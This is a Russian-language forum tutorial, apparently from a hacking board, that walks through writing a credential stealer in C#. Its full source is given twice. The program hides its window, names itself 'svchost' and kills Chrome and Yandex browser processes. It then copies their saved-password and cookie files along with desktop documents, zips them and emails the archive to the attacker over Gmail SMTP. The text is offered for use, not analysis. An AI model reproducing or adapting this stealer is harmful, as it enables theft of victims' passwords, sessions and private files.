Пишем стилер за 400 рублей

Пишем стилер за 400 рублей
Всем привет, а вот и обещанная статья о том как написать свой полноценный стиллер.

Вот спойлер, для тех кто не любит читать

using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
List<string> listFiles = new List<string>(); // пихаем их в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i);
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}

foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}

foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}

if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}
string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}
//отправка на почту
MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>Логи</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);
// вот и все

}
}
}

Код

Код:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
            List<string> listFiles = new List<string>(); // пихаем их в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i);
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }

            foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
           
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }

            if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }
            string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }
            //отправка на почту
            MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("your_mail@gmail.com");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);
            // вот и все

        }
    }
}

Итак, приступим!

Что нам понадобиться:

  • Visual Studio 2013 и выше
  • Соединение с интернетом
  • Внимательность
  • Немножко прямые руки тоже не помешают

Итак, создаем новый проект Windows Forms, переходим в свойства и выставляем следующие значения:

  • FormBorderStyle : None
  • Text : Оставляем пустоту
  • Enabled : False
  • ShowIcon : False
  • TopMost : False
  • TransparencyKey : Кликаем > система > control
  • CausesValidation : False
  • SizeGripStyle : Hide
Теперь код:

  • Вначале нам понадобятся эти библиотеки :

using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;

Код

Код:
using System;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Net;
using System.Threading.Tasks;
using System.Net.Mail;
using System.Collections.Generic;

  • Дальше обьявим пути до нужных нам файлов:

namespace svchost
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола

Код

Код:
namespace svchost
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
            string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
            string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
            string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
            string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
            string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
            string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
            string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола

  • Теперь отсеиваем, то что нам ненужно:

List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
foreach (string i in files) // пихаем
{
string extens = Path.GetExtension(i); // Делаем отсев по расширению
if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
{
listFiles.Add(i); // пихаем
}
}
List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
foreach(string i in listFiles)
{
names.Add(Path.GetFileName(i));
}

Код

Код:
            List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
            foreach (string i in files) // пихаем
            {
                string extens = Path.GetExtension(i); // Делаем отсев по расширению
                if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
                {
                    listFiles.Add(i); // пихаем
                }
            }
            List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
                foreach(string i in listFiles)
                {
                    names.Add(Path.GetFileName(i));
                }

  • Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:

foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
{
i.Kill();
}

foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
{
i.Kill();
}

Код

Код:
            foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
            {
                i.Kill();
            }
          
            foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
            {
                i.Kill();
            }

  • Теперь создаем папку, куда мы скопируем все наши файлы

if (Directory.Exists(_path) == false) // проверка на наличие папки
{
DirectoryInfo dir = Directory.CreateDirectory(_path);
}
else
{
Directory.Delete(_path); // Удаление папки
}
for (int i = 0; i < listFiles.Count; i++ )
{
if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
{
File.Delete(Path.Combine(_path, names[i])); // удаление
}
File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
}
try
{
File.Copy(Login_Data_Chrome, _path); // достаем пароли
File.Copy(Login_Data_Yandex, _path); // пароли
File.Copy(Chrome, _path);// куки
File.Copy(Yandex, _path);//куки
}
catch
{
/// Кукишь тебе а не куки!
}

Код

Код:
            if (Directory.Exists(_path) == false) // проверка на наличие папки
            {
                DirectoryInfo dir = Directory.CreateDirectory(_path);
            }
            else
            {
                Directory.Delete(_path); // Удаление папки
            }
            for (int i = 0; i < listFiles.Count; i++ )
            {
                if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
                {
                    File.Delete(Path.Combine(_path, names[i])); // удаление
                }
                File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
            }
            try
            {
                File.Copy(Login_Data_Chrome, _path); // достаем пароли
                File.Copy(Login_Data_Yandex, _path); // пароли
                File.Copy(Chrome, _path);// куки
                File.Copy(Yandex, _path);//куки
            }
            catch
            {
                /// Кукишь тебе а не куки!
            }

  • Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске ****аем DotNetZip и устанавливаем его
  • Теперь создаем архив и архивируем нашу папку:

string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
{
if (File.Exists(pathToLogs))
{
File.Delete(pathToLogs); // опять проверки, проверки, проверки
}
zip.AddDirectory(_path); // создаем архив
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.Save(Path.Combine(pathToLogs));
}

Код

Код:
            string pathToLogs = Path.Combine(localappdata, "logs.zip"); // создаем путь к будущему архиву
            using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
            {
                if (File.Exists(pathToLogs))
                {
                    File.Delete(pathToLogs); // опять проверки, проверки, проверки
                }
                zip.AddDirectory(_path); // создаем архив
                zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
                zip.Save(Path.Combine(pathToLogs));
            }

  • И наконец-то отправляем этот архив себе на почту:

MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
// кому отправляем
MailAddress to = new MailAddress("your_mail@gmail.com");
// создаем объект сообщения
MailMessage m = new MailMessage(from, to);
// тема письма
m.Subject = "Тест";
// текст письма
m.Body = "<h1>Логи</h1>";
// письмо представляет код html
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(pathToLogs));
// адрес smtp-сервера и порт, с которого будем отправлять письмо
SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
// логин и пароль
smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
smtp.EnableSsl = true;
smtp.Send(m);

Код

Код:
            MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
            // кому отправляем
            MailAddress to = new MailAddress("your_mail@gmail.com");
            // создаем объект сообщения
            MailMessage m = new MailMessage(from, to);
            // тема письма
            m.Subject = "Тест";
            // текст письма
            m.Body = "<h1>Логи</h1>";
            // письмо представляет код html
            m.IsBodyHtml = true;
            m.Attachments.Add(new Attachment(pathToLogs));
            // адрес smtp-сервера и порт, с которого будем отправлять письмо
            SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
            // логин и пароль
            smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
            smtp.EnableSsl = true;
            smtp.Send(m);

  • Вот и все, также можете глянуть на мою прошлую статью(Кликабельно).
#моястатья

Комментарии 0

Пока нет комментариев. Начните обсуждение.
Войдите, чтобы оставить комментарий.
Назад
Верх